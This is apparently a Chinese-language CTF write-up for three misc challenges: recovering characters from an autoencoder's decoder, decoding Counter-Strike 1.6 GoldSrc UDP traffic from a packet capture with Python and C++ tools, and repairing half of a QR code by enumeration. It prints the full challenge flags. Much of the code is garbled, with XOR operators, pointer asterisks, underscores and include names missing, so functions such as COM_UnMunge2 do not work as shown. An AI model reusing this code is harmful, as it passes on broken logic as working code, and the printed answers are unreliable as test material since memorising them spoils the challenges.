ConvTranspose2d(in_channels=256, out_channels=256,
kernel_size=1, stride=1),
ReLU(),
ConvTranspose2d(in_channels=256, out_channels=512,
kernel_size=1, stride=1),
ReLU(),
ConvTranspose2d(in_channels=512, out_channels=128,
kernel_size=4, stride=4),
ReLU(),
ConvTranspose2d(in_channels=128, out_channels=64,
kernel_size=4, stride=4),
ReLU(),
ConvTranspose2d(in_channels=64, out_channels=32,
kernel_size=2, stride=2),
ReLU(),
ConvTranspose2d(in_channels=32, out_channels=1,
kernel_size=2, stride=2),
Sigmoid(),
)
def forward(self, x: Tensor) -> Tensor:
batch = x.size(0)
x = x.view(batch, 1, 4, 4)
y = self.convt(x)
return y
class MyAutoEncoder(nn.Module):
def init(self) -> None:
super().init()
self.encoder = Encoder()
self.decoder = Decoder()
def forward(self, x):
y = self.encoder(x)
y = self.decoder(y)
return y

即使不知道激活函数也没有关系,因为我们这里只需要用到decoder。我们需要找到一个图片使得输入等于输出,但是试图枚举或者训练一个1x256x256的tensor代价有点大,可以直接从瓶颈处的16D向量入手。可以看到,decoder的每层kernel和stride大小总是相同的,因此反卷积运算时不会overlap。所以这个16d向量的每个维度的实数值,会被各自重构成一个1x64x64的图像小块,而且不会影响其他图像块的构建。换句话说,一个实数对应一个1x64x64图像碎片。
下面是这个16d向量,所有维取相同的值,从-40到+40步进0.05,输出图像的变化。

然后找其中含有明显的肉眼可以辨认的字符,做一个拼图就结束了。

img53.png

彩蛋:
其实这个AutoEncoder还塞进去了一个流汗黄豆

img54.png

Lambda
一段连接游戏服务器的流量,主要是私有的 UDP 协议,连接时服务器会通知客户端需要的所有资源(相对路径)、以及一个 HTTP URL,客户端检查本地资源的存在性,若不存在则转向 HTTP 下载对应资源,然后重连游戏服务器,这就是为什么会出现 UDP 中间混杂着 HTTP 的原因. 因为是在 WireGuard 的接口上抓的,没啥正常流量,所以人工伪造了一些 DNS 和 ICMP...

img55.png

通过 URL 中的 "cstrike" 我们可以猜测是游戏是 CS 1.6,用喜欢的方式把三个资源文件导出,根据后缀名我们可以知道 flag.bsp 是一张地图,flag.wad 是一个贴图纹理,flag.wav 是一个音频(不过大小好像不太对劲),查看一下 flag.wav,我们找到了 flag 的开头部分.

Plain Text
L3HCTF{v41v3#

然后是 flag.wad,可以通过 Wally 打开纹理,获得提示声称 flag 有三个部分组成.

img56.png

对于 flag.bsp 的处理,方法有很多,直接在客户端中运行地图会看到与 flag.wad 中相同的贴图(但其实该地图并不引用 flag.wad 这一纹理文件,它的贴图都是自包含进 bsp 文件内的),观察者模式在地图外能够看到一个贴了奇怪纹理的盒子,上面写的是第二部分的 flag;也可以直接用 GCFScape 打开地图文件,把自包含的贴图全都看个遍.

img57.png
img58.png


img59.png

Kotlin
@@w4d

我们在比赛过程中针对第三部分给出了一些提示,例如第三部分是在用户进服的欢迎消息(MOTD)中显示的,并提到了一个项目 ReHLDS(https://github.com/dreamstalker/rehlds),那基本可以肯定我们要做的就是对 UDP 流量进行解码.
(其实出题人在出题时没有找到现成的分析文章 / 工具,但是 Nepnep 战队细心地发现了 https://github.com/fire64/GoldSRCPacketDecoder
ReHLDS 项目中,根据 UDP 首包 "getchallenge" 字样,能够定位到 SV_ConnectionlessPacket,它在 SV_ReadPackets 中被调用:

C++
if (*(uint32 *)net_message.data == 0xFFFFFFFF)
{
// (Several lines omitted...)
// Connectionless packet
if (g_RehldsHookchains.m_SV_CheckConnectionLessRateLimits.callChain([](netadr_t& net_from, const uint8_t , int) { return SV_CheckConnectionLessRateLimits(net_from); }, net_from, net_message.data, net_message.cursize))
{
Steam_HandleIncomingPacket(net_message.data, net_message.cursize, ntohl(
(u_long *)&net_from.ip[0]), htons(net_from.port));
SV_ConnectionlessPacket();
}
continue;
}

由此我们可知,以 0xFFFFFFFF 开头的数据包都是“无连接”的(如 "getchallenge" 的包),而题目中 UDP 流量包几乎都不是这个开头,所以我们应该看后续的处理.

C++
for (int i = 0 ; i < g_psvs.maxclients; i++)
{
client_t *cl = &g_psvs.clients[i];
if (!cl->connected && !cl->active && !cl->spawned)
{
continue;
}
if (NET_CompareAdr(net_from, cl->netchan.remote_address) != TRUE)
{
continue;
}
if (Netchan_Process(&cl->netchan))
{

这里出现了本题核心函数 Netchan_Process(对等的函数是 Netchan_Transmit),其实我们的主要工作就是复刻它的工作流程,经过阅读后,整个流程的示意图和数据包结构如下:

img60.png
img61.png

其中当为 RELIABLE 分段模式时,首先会有 fragment 头区,其后紧跟数据区,每一个 fragment 头的 id 由两个 uint16 组成,分别是该流的总段数和当前段编号组成(详情可阅读代码),start_pos和length分别表示分段在数据区的偏移和长度,这些都是重组流数据的重要依据. 如果重组后的最终数据以 "BZ2\x00" 开头,那么就要使用 BZ2 解压才能还原数据. 在数据区末尾还可能会有一些 UNRELIABLE 数据,这些数据不参与流重组.
COM_UnMunge2 可以直接从 ReHLDS 搬过来;BZ2 相关则需要使用 libbz2.
为了自动化,把 pcap 包文件弄成 C 的 initializer list 方便处理,将其输出保存为 hl.i

Python
import sys
import binascii
import dpkt
from dpkt.tcp import TCP
from dpkt.udp import UDP
import socket
import json
import base64
if len(sys.argv) != 2:
print('%s PCAPFILE' % sys.argv[0])
exit()
name = sys.argv[1][:-len(".pcap")]
pcap = dpkt.pcap.Reader(open(sys.argv[1], 'rb'))
result = []
def inet_to_str(inet):
try:
return socket.inet_ntoa(socket.AF_INET, inet)
except ValueError:
return socket.inet_ntoa(socket.AF_INET6, inet)
for ts, buf in pcap:
ip = dpkt.ip.IP(buf)
if type(ip.data) != UDP:
continue
udp = ip.data
if (udp.dport == 27015 and udp.sport == 27005) or (udp.dport == 27005 and udp.sport == 27015):
result.append({
'src': udp.sport,
'dst': udp.dport,
'data': udp.data,
'size': len(udp.data)
})
for d in result:
print('{%d, %d, %d, "%s"},' % (d['src'], d['dst'], d['size'], ''.join('\\x' + hex(b)[2:].zfill(2) for b in d['data'])))

然后是解码程序,解码过程主要是针对本题的,有一些情况没有考虑(例如一个数据包中存在多个 fragment 头时的流重组,同时当 HTTP 不可用时,UDP 也可以传资源文件,文件的 fragment 结构相比普通 message 又有一些变化).

C++
#include
#include
#include
#include
#include <bzlib.h>
#define bswap builtin_bswap32
#pragma pack(push, 1)
struct goldsrc_buffer
{
uint8_t data[65536];
size_t size;
size_t cursor;
size_t rest_size()
{
return size - cursor;
}
uint8_t *current()
{
return this->data + this->cursor;
}
uint8_t read_uint8()
{
uint8_t value = *(uint8_t *)(this->data + this->cursor);
this->cursor += sizeof(uint8_t);
return value;
}
uint16_t read_uint16()
{
uint16_t value = *(uint16_t *)(this->data + this->cursor);
this->cursor += sizeof(uint16_t);
return value;
}
uint32_t read_uint32()
{
uint32_t value = *(uint32_t *)(this->data + this->cursor);
this->cursor += sizeof(uint32_t);
return value;
}
};
struct goldsrc_packet
{
uint16_t src;
uint16_t dst;
size_t size;
union
{
const char *raw; // initializer list
uint8_t *data;
};
};
struct goldsrc_fragment
{
// uint8_t next;
uint16_t buffer;
uint16_t id;
uint16_t start_pos;
uint16_t length;
};
#pragma pack(pop)
goldsrc_packet packets[] =
{
#include "hl.i"
};
// REHLDS implementation
void COM_UnMunge2(unsigned char *data, int len, int seq)
{
unsigned int *pc;
unsigned int *end;
unsigned int mSeq;
mSeq = bswap(~seq) seq;
len /= 4;
end = (unsigned int *)data + (len & ~15);
for (pc = (unsigned int *)data; pc < end; pc += 16)
{
pc[0] = bswap(pc[0]
mSeq 0xFFFFE7A5);
pc[1] = bswap(pc[1]
mSeq 0xBFEFFFE5);
pc[2] = bswap(pc[2]
mSeq 0xFFBFEFFF);
pc[3] = bswap(pc[3]
mSeq 0xBFEFBFED);
pc[4] = bswap(pc[4]
mSeq 0xBFAFEFBF);
pc[5] = bswap(pc[5]
mSeq 0xFFBFAFEF);
pc[6] = bswap(pc[6]
mSeq 0xFFEFBFAD);
pc[7] = bswap(pc[7]
mSeq 0xFFFFEFBF);
pc[8] = bswap(pc[8]
mSeq 0xFFEFF7EF);
pc[9] = bswap(pc[9]
mSeq 0xBFEFE7F5);
pc[10] = bswap(pc[10]
mSeq 0xBFBFE7E5);
pc[11] = bswap(pc[11]
mSeq 0xFFAFB7E7);
pc[12] = bswap(pc[12]
mSeq 0xBFFFAFB5);
pc[13] = bswap(pc[13]
mSeq 0xBFAFFFAF);
pc[14] = bswap(pc[14]
mSeq 0xFFAFA7FF);
pc[15] = bswap(pc[15]
mSeq 0xFFEFA7A5);
}
switch (len & 15)
{
case 15:
pc[14] = bswap(pc[14]
mSeq 0xFFAFA7FF);
case 14:
pc[13] = bswap(pc[13]
mSeq 0xBFAFFFAF);
case 13:
pc[12] = bswap(pc[12]
mSeq 0xBFFFAFB5);
case 12:
pc[11] = bswap(pc[11]
mSeq 0xFFAFB7E7);
case 11:
pc[10] = bswap(pc[10]
mSeq 0xBFBFE7E5);
case 10:
pc[9] = bswap(pc[9]
mSeq 0xBFEFE7F5);
case 9:
pc[8] = bswap(pc[8]
mSeq 0xFFEFF7EF);
case 8:
pc[7] = bswap(pc[7]
mSeq 0xFFFFEFBF);
case 7:
pc[6] = bswap(pc[6]
mSeq 0xFFEFBFAD);
case 6:
pc[5] = bswap(pc[5]
mSeq 0xFFBFAFEF);
case 5:
pc[4] = bswap(pc[4]
mSeq 0xBFAFEFBF);
case 4:
pc[3] = bswap(pc[3]
mSeq 0xBFEFBFED);
case 3:
pc[2] = bswap(pc[2]
mSeq 0xFFBFEFFF);
case 2:
pc[1] = bswap(pc[1]
mSeq 0xBFEFFFE5);
case 1:
pc[0] = bswap(pc[0]
mSeq 0xFFFFE7A5);
}
}
void dump_line(const uint8_t *data, size_t length)
{
for (int i = 0; i < length; i++)
{
if (i == 0)
{
putchar('|');
}
if (isprint(data[i]) && data[i] != '\t' && data[i] != '\n')
{
printf("%c |", data[i]);
}
else
{
printf("%02X|", data[i]);
}
}
puts("");
}
void dump(const uint8_t *data, size_t length)
{
puts("dump:");
for (int i = 0; i < length; i++)
{
if (i % 8 == 0)
{
putchar('\n');
putchar('|');
}
if (isprint(data[i]) && data[i] != '\t' && data[i] != '\n')
{
printf("%c |", data[i]);
}
else
{
printf("%02X|", data[i]);
}
}
puts("");
puts("");
}
struct goldsrc_stream
{
int id;
goldsrc_buffer buffer;
};
goldsrc_stream streams[500];
int stream_map[500], stream_count = 0;
int main()
{
goldsrc_buffer buffer;
FILE *out = fopen("out.bin", "wb");
constexpr size_t packet_count = sizeof(packets) / sizeof(packets[0]);
for(int i = 0; i < 500; i++) { stream_map[i] = -1; }
for (int i = 0; i < packet_count; i++)
{
const goldsrc_packet &p = packets[i];
memcpy(buffer.data, p.raw, p.size);
buffer.cursor = 0;
buffer.size = p.size;
uint32_t outgoing = buffer.read_uint32();
uint32_t incoming = buffer.read_uint32(); // unused
if (outgoing != 0xFFFFFFFFu)
{
bool is_reliable = outgoing & (1 << 31);
bool is_frag = outgoing & (1 << 30);
outgoing = outgoing
(is_reliable << 31);
outgoing = outgoing ^ (is_frag << 30);
COM_UnMunge2(buffer.current(), buffer.rest_size(), outgoing & 0xFF);
printf(
"(PACKET #%05d ) %05XB %s [%s %s] \n",
i,
p.size,
p.src == 27015 ? "SERVER -> CLIENT" : "CLIENT -> SERVER",
is_reliable ? "RELIABLE" : "",
is_frag ? "FRAGMENT" : "");
fwrite(buffer.data, buffer.size, 1, out);
dump_line(buffer.data, buffer.size);
puts("");
if (is_frag)
{
goldsrc_fragment *f;
while (buffer.read_uint8()) // has fragment?
{
f = (goldsrc_fragment ) buffer.current();
buffer.cursor += sizeof(goldsrc_fragment);
}
size_t i = stream_map[f->buffer] < 0 ? (stream_map[f->buffer] = stream_count++) : stream_map[f->buffer];
goldsrc_stream &stream = streams[i];
stream.id = f->buffer;
memcpy(stream.buffer.data + stream.buffer.size, buffer.current(), f->length);
stream.buffer.size += f->length;
fprintf(stderr, "Stream #%d (streams[%d]): fragment %d length %u\n", f->buffer, i, f->id, stream.buffer.size);
if(f->buffer == f->id)
{
// stream finish
stream_map[f->buffer] = -1;
}
}
}
}
puts("");
char filename[256];
for(int i = 0; i < stream_count; i++)
{
goldsrc_stream &stream = streams[i];
goldsrc_buffer &buffer = stream.buffer;

#define MAKEID(d, c, b, a)(((int)(a) << 24) | ((int)(b) << 16) | ((int)(c) << 8) | ((int)(d)))
// dump(buffer.data, 16);
if(
(uint32_t *) buffer.data != MAKEID('B', 'Z', '2', '\0'))
{
printf(
"(RELIABLE BUFFER STREAM #%d)\n"
"TOTAL SIZE: %u\n",
i,
stream.buffer.size);
sprintf(filename, "out
%d.bin", i);
FILE *f = fopen(filename, "wb");
fwrite(buffer.data, buffer.size, 1, f);
fclose(f);
}
else
{
buffer.read_uint32(); // eats MAKEID('B', 'Z', '2', '\0')
uint32_t bz2_out_length = 65536;
uint8_t bz2_out[65536];
int status;
if (!(status = BZ2_bzBuffToBuffDecompress((char *) bz2_out, (unsigned int *) &bz2_out_length, (char *) buffer.current(), buffer.rest_size(), 1, 0)))
{
printf(
"(RELIABLE BUFFER STREAM #%d)\n"
"BZ2 (STATUS: %d) compressed: %u --> uncompressed: %u\n",
i,
status,
stream.buffer.size,
buffer.rest_size(),
bz2_out_length
);
printf("Dump of reliable buffer %u:\n", i);
dump(bz2_out, bz2_out_length);
sprintf(filename, "out
%d.bin", i);
FILE *f = fopen(filename, "wb");
fwrite(bz2_out, bz2_out_length, 1, f);
fclose(f);
}
else
{
fprintf(stderr, "Error when decompressing stream %d.\n", stream.id);
}
}
}
fclose(out);
}

最终能够在输出的第 11 个消息流中找到服务器发送的 MOTD,包含第三部分 flag h4ppy!uNmUng3}.

img62.png

MOTD 中间会夹杂着控制字符,这是因为发送 MOTD 时首先将其切为 60 字节的 chunk 组,一个 chunk 包含在一条 message 中,详情可见 https://wiki.alliedmods.net/Half-life_1_game_events#MOTD
最终 flag 为 L3HCTF{v41v3#_@@w4d_h4ppy!uNmUng3}
Cropped
修二维码的题在CTF中并不少见,缺了个角补上定位码之类的,拿qrazybox提取之类的,甚至有补上padding然后恢复的(https://www.robertxiao.ca/hacking/ctf-writeup/mma2015-qrcode/
但是如果缺了一半,那该怎么办呢
首先是几个工具网站

阅读QR标准,可以得知QR的主要数据部分有三部分,明文、padding和纠错码。在数据区开头有4比特模式+8比特长度的头部。其中模式部分最常用的是0100代表的byte模式
0100 <8-bit length> <text bytes> 0000 <padding bytes> <error correction bytes>
将这半部分载入qrazybox,通过定位块周围的部分确定出纠错等级L和mask模式2
如果要直观一点的查看,可以mask之后手工画上0100的模式,以及任意一个长度,提取信息可以看到

img63.png

使用Data Sequence Analysis可以看到更详细的每块代表了什么
但是正如上面说的,损坏率达到了50%,纠错码已经救不回来了,而qrazybox本身bug也有很多,所以接下来吧data blocks提取出来自己分析

img64.png

这里可以比较明显的看出来,内容格式是个链接,????.github.com/L3HCTF/,而且根据提示的聊天记录可以看出是gist。
补全url开头的部分,根据gist链接得到长度,再把后面的padding补上。

img65.png

Plain Text
33 10010???
34 ????????
35 ????????
36 ????????
37 ????????
38 ????????
39 ????????
40 ?1010011
49 00110???
50 ????????
51 ????????
52 ????????
53 ????????
54 ????????
55 ????????
56 ?0100110
81 11110???
82 ????????
83 ????????
84 ????????
85 ????????
86 ?0111100
91 11001???
92 ????????
93 ????????
94 ?1111000
99 01011???

经过一通修复,通过已知的信息把仍然缺失的块数量缩小到了27个。但是通过查询纠错码等级和原理,可以知道其最多修复20个已知错误位置的块,仍然缺失的7个字节信息目前还是无法恢复,即使选取缺失数量最少的块,也还有13个比特的信息未知。再观察url,还没有利用到的信息是链接后半部分是十六进制,相当于每个未知字符有4个比特的信息。这保证了枚举前面7个块中的13个比特后,通过纠错码还原剩下20个块,再判断链接是否是合法十六进制,就能得到原始的链接。python有creedsolo库,大概十几秒就能跑出来。
这道题的出题idea来自某次ARG,规模更大的版本和更加详细的解释可以在这里https://github.com/WJH-NonR/qr-project-cold找到,37*37的二维码,纠错等级L,恰好给出上边一半,需要进行2^26级别的枚举